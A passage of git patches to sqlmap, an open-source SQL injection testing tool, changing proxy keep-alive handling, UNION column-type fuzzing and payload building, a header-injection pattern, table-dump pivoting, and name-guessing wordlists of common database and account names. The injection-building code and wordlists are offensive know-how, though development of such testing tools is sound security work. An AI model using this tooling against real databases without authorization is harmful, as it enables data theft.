authentication methods, - # or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler) - conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked + # Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s) + # proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled + # socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled + # when incompatible (authentication methods, or chunked transfer-encoding of the request body - + # handled by a dedicated, non-pooling handler) + conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked if conf.keepAlive: # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS @@ -1261,8 +1263,8 @@ def _setHTTPHandlers(): handlers.remove(httpsHandler) handlers.append(keepAliveHandler) handlers.append(keepAliveHandlerHTTPS) - elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked): - reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding") + elif not conf.noKeepAlive and (conf.authType or conf.chunked): + reason = "authentication methods" if conf.authType else "chunked transfer-encoding" debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0a021d5f4..fdfb62707 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.7" +VERSION = "1.10.7.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index 299a5450f..e3f192643 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -60,6 +60,22 @@ class _KeepAliveHandler(object): def _give_back(self, key, conn, count): self._pool.conns[key] = [conn, count, time.time()] + @staticmethod + def _takeTunnelHeaders(req): + """ + Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the + CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring + the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup + """ + + result = {} + for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)): + if store: + for name in list(store): + if name.lower() == "proxy-authorization": + result[name] = store.pop(name) + return result + def do_open(self, req): # Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since # 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2 @@ -68,7 +84,14 @@ class _KeepAliveHandler(object): if not host: raise _urllib.error.URLError("no host given") - key = "%s://%s" % (self._scheme, host) + # When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a + # plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target + # '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when + # tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy + # socket serves many origins, and a direct connection is keyed by its own host exactly as before). + tunnelHost = getattr(req, "_tunnel_host", None) + tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None + key = "%s://%s" % (self._scheme, tunnelHost or host) conn, count = self._take(key) reused = conn is not None @@ -93,6 +116,8 @@ class _KeepAliveHandler(object): if conn is None: conn = self._get_connection(host) + if tunnelHost: + conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {}) count = 0 self._send_request(conn, req) response = conn.getresponse() From 1716ad15242e0ae49a10f34edd68b368cb77aa45 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 22:31:37 +0200 Subject: [PATCH 116/165] Minor improvement of UNION detection --- data/txt/sha256sums.txt | 8 ++++---- lib/controller/controller.py | 7 ++++--- lib/core/agent.py | 11 ++++++++++- lib/core/settings.py | 5 ++++- lib/techniques/union/test.py | 18 ++++++++++++++---- 5 files changed, 36 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1c44cdae1..d39c46234 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -163,10 +163,10 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py -666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py +2086100cd7a78a4e8c12d72bd4f5b414ec6b3f49926e83285494534140e60ce7 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py +48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -459f3adf2d8acfe810410faea7fa5bddfc2ee0b1af284413a4a9fd1d11334047 lib/core/settings.py +c84d55438df9338804398ec3d8bc7b95cb4024dd356db9aeb4ea1cb19edcb794 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -250,7 +250,7 @@ bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py 14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py -ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py +f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques/union/test.py c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 67b9278b1..ba27f49aa 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -561,9 +561,10 @@ def start(): checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): - if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: - # NOTE: this is not needed anymore, leaving only to display - # a warning message to the user in case the page is not stable + if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)): + # NOTE: besides the not-stable warning, this marks dynamic content for removal, which + # UNION column-count detection relies on too (it compares pages) - so it must run when + # UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page) checkStability() # Do a little prioritization reorder of a testable parameter list diff --git a/lib/core/agent.py b/lib/core/agent.py index ec781a43e..ad67ade14 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -958,12 +958,19 @@ class Agent(object): if not infoFile: query = _collate(query) + # A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678']) + # forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL + # and demands UNION column-type parity); '%s' marks the slot carrying the injected expression. + template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None + for element in xrange(0, count): if element > 0: unionQuery += ',' if conf.uValues and conf.uValues.count(',') + 1 == count: unionQuery += conf.uValues.split(',')[element] + elif template is not None: + unionQuery += query if template[element] == "%s" else template[element] elif element == position: unionQuery += query else: @@ -985,7 +992,9 @@ class Agent(object): if element > 0: unionQuery += ',' - if element == position: + if template is not None: + unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element] + elif element == position: unionQuery += _collate(multipleUnions) else: unionQuery += char diff --git a/lib/core/settings.py b/lib/core/settings.py index fdfb62707..f6a5115e6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.8" +VERSION = "1.10.7.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -141,6 +141,9 @@ FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conver # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 +# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically) +FUZZ_UNION_MAX_REQUESTS = 80 + # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 0a8facf78..5c2022c3a 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -38,6 +38,7 @@ from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.enums import PAYLOAD from lib.core.settings import FUZZ_UNION_ERROR_REGEX from lib.core.settings import FUZZ_UNION_MAX_COLUMNS +from lib.core.settings import FUZZ_UNION_MAX_REQUESTS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO @@ -190,12 +191,14 @@ def _fuzzUnionCols(place, parameter, prefix, suffix): choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) random.shuffle(choices) + attempts = 0 for candidate in itertools.product(choices, repeat=kb.orderByColumns): - if retVal: + if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search break elif FUZZ_UNION_COLUMN.STRING not in candidate: continue else: + attempts += 1 candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) @@ -332,16 +335,21 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if kb.fuzzUnionTest is None: msg = "do you want to (re)try to find proper " - msg += "UNION column types with fuzzy test? [y/N] " + msg += "UNION column types with a fuzzy test? [Y/n] " - kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) + kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True) if kb.fuzzUnionTest: kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) + # apply the discovered per-column type template through a normal confirmation so + # the resulting vector (and later extraction) is built with type-compatible columns + if kb.unionTemplate: + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate)) + warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " - if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: + if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default='Y', boolean=True): @@ -380,6 +388,8 @@ def unionTest(comment, place, parameter, value, prefix, suffix): negativeLogic = kb.negativeLogic setTechnique(PAYLOAD.TECHNIQUE.UNION) + kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter + try: if negativeLogic: pushValue(kb.negativeLogic) From c2209d9326c373f7e474d4a7eb6027061c4cb3b5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 23:16:05 +0200 Subject: [PATCH 117/165] Patch related to #5357 --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d39c46234..32a95cc13 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c84d55438df9338804398ec3d8bc7b95cb4024dd356db9aeb4ea1cb19edcb794 lib/core/settings.py +dba5c2fcdd18d70021f56236551c697587bdc885b5693e5b36c191098980e8fb lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f6a5115e6..a6bf3aac6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.9" +VERSION = "1.10.7.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -716,7 +716,10 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\ CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) # Patterns often seen in HTTP headers containing custom injection marking character '*' -PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" +# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a +# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then +# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection) +PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" # Template used for common table existence check BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" From a3bff54cc55ce19a3eac5b54cc6a74d3b11c3b5d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 00:19:31 +0200 Subject: [PATCH 118/165] Fixes #1545 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/pivotdumptable.py | 26 ++++++++++++++++++++++++++ 3 files changed, 29 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 32a95cc13..ecb08f953 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dba5c2fcdd18d70021f56236551c697587bdc885b5693e5b36c191098980e8fb lib/core/settings.py +db578cf03ccdb67a0930ebaba6bc8aa1b777e0a09e3cc7d14fef47c5e47f3f5f lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -266,7 +266,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py -04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py +dd30ef67da30b666c53013ee32253cd9396ed0e5d0a44d509680742e06ebcd23 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a6bf3aac6..23551d478 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.10" +VERSION = "1.10.7.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index b1a10adf2..96a30d58c 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -45,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): validColumnList = False validPivotValue = False + compositePivot = None if count is None: query = dumpNode.count % table @@ -118,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) + if not validPivotValue: + # No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a + # concatenation of every column) whose combined value is unique per row, so rows sharing + # a value in every individual column are no longer silently dropped (ref: #1545). + _composite = agent.concatQuery(','.join(colList)) + query = dumpNode.count2 % (_composite, table) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(value) and int(value) == count: + infoMsg = "using a concatenation of all columns as a " + infoMsg += "composite pivot for retrieving row data" + logger.info(infoMsg) + + compositePivot = _composite + lengths[compositePivot] = 0 + entries[compositePivot] = BigArray() + colList.insert(0, compositePivot) + validPivotValue = True + if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" @@ -186,4 +207,9 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): logger.critical(errMsg) + # The composite pivot is a synthetic paging key, not a real column - drop it from the output + if compositePivot is not None: + entries.pop(compositePivot, None) + lengths.pop(compositePivot, None) + return entries, lengths From e1126a2a4e3674f24094d92e04f6019423684ef4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 01:12:06 +0200 Subject: [PATCH 119/165] Improving --predict-output --- data/txt/common-outputs.txt | 110 ++++++++++++++++++++++++++++++++++++ data/txt/sha256sums.txt | 6 +- lib/core/common.py | 11 ++++ lib/core/settings.py | 2 +- 4 files changed, 125 insertions(+), 4 deletions(-) diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 1df3cd36f..5df11be3d 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1364,3 +1364,113 @@ username visible zip zip_code + +# --- real-world application / CMS / framework values (repeated section headers are merged on load) --- +[Databases] +wordpress +wp +drupal +joomla +magento +prestashop +opencart +moodle +mediawiki +phpbb +typo3 +laravel +symfony +django +app +application +webapp +web +website +main +backend +api +cms +shop +store +ecommerce +blog +forum +wiki +crm +erp +billing +sales +accounts +inventory +catalog +orders +payments +customers +members +users +data +db +mydb +appdb +prod +production +dev +staging +qa +demo +sample +employees +sakila +world +classicmodels +dvwa +bwapp +mutillidae +dashboard +defaultdb + +[Users] +admin +administrator +root +sa +postgres +oracle +system +dbadmin +dba +dbo +webadmin +web +www +www-data +apache +nginx +app +appuser +application +service +svc +user +dbuser +guest +test +demo +backup +replication +monitor +readonly +superuser +wordpress +drupal +joomla +magento +laravel +django +symfony +'admin'@'localhost' +'admin'@'%' +'app'@'localhost' +'app'@'%' +'web'@'%' +'wordpress'@'localhost' diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ecb08f953..593e34401 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -25,7 +25,7 @@ c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/sta af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae data/txt/common-outputs.txt +4d6a32155dd6b570e5cdae8036efd69d8f8ebab79cb82a4d094c15f35af8b13d data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py +e6866a8a8870c345334296e9533042719d32219127fafdda481566b119c3a50d lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -db578cf03ccdb67a0930ebaba6bc8aa1b777e0a09e3cc7d14fef47c5e47f3f5f lib/core/settings.py +906d17d317ef11f67d52b30cf6bbcfd67c3af35af0942f697a13c55d9aa89816 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index ff205d560..e23288d44 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2624,6 +2624,17 @@ def initCommonOutputs(): if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) + # The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much + # more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly + # system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate. + # The mechanism only reorders the charset, so extra coverage never penalizes a miss. + for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + try: + for _ in getFileItems(_path): + kb.commonOutputs.setdefault(_key, set()).add(_) + except SqlmapSystemException: + pass + def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file diff --git a/lib/core/settings.py b/lib/core/settings.py index 23551d478..a74f5dc22 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.11" +VERSION = "1.10.7.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] 